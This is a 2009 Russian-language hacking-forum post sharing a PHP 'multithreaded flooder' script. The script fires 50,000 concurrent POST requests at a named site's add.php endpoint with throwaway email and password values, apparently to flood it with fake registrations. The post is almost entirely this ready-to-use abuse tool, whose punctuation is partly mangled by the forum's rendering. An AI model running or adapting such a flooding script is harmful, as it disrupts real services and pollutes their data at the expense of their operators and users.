Показать сообщение отдельно

  #29  
Старый 29.08.2009, 23:53
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


По умолчанию

Многопоточная флудилка:
PHP код:
<?
@set_time_limit(0);

function 
imTimer($name'default'$mode''){
    static 
$timers= array();
    
$now=microtime(true);
    if(!isset(
$timers[$name])){
        
$timers[$name]= $now;
        return 
0;
    }
    
$ret$now $timers[$name];
    if(
$mode == 'reset')
        
$timers[$name]= $now;
    return 
round($ret5);
}
imTimer();

class 
MCurl  
{  
var 
$timeout 20;
var 
$threads 10;
function 
multiget($urls, &$result)  
{  
    
    
$threads $this->threads;    
    
$i 0;  
    for(
$i=0;$i<count($urls);$i=$i+$threads)  
    {  
        
$urls_pack[] = array_slice($urls$i$threads);  
    }  
    foreach(
$urls_pack as $pack)  
    {  
        
$mh curl_multi_init(); unset($conn);  
        foreach (
$pack as $i => $url)  
        {  
            
$name[]=md5(rand(0,99999999));
            
$conn[$i]=curl_init(trim($url));  
            
curl_setopt($conn[$i],CURLOPT_RETURNTRANSFER1);  
            
curl_setopt($conn[$i],CURLOPT_POSTFIELDS"email=Wildshaman:{$name[$i]}&pass=Wildshaman:{$name[$i]}"); 
            
curl_setopt($conn[$i],CURLOPT_TIMEOUT$this->timeout);  
            
curl_multi_add_handle ($mh,$conn[$i]);  
        }  
        do { 
$n=curl_multi_exec($mh,$active); usleep(100); } while ($active);  
        foreach (
$pack as $i => $url)  
        {  
            
$uu++;
            if (
preg_match("|ok|is"curl_multi_getcontent($conn[$i])))
            {
                echo 
"$uu - {$name[$i]} <br>";            
                
flush();            
            }
            
curl_close($conn[$i]);  
        }  
curl_multi_close($mh);  
    }  
  
}  
}  


for (
$h=1$h<=50000$h++)
    
$urls[]="http://virus2total.com/add.php";
$mcurl = new MCurl;  
$mcurl->threads 20
$mcurl->timeout 30;
unset(
$results); 
$mcurl->multiget($urls$results);  

print 
"$nu - <hr>общее время работы программы: ".imTimer();
?>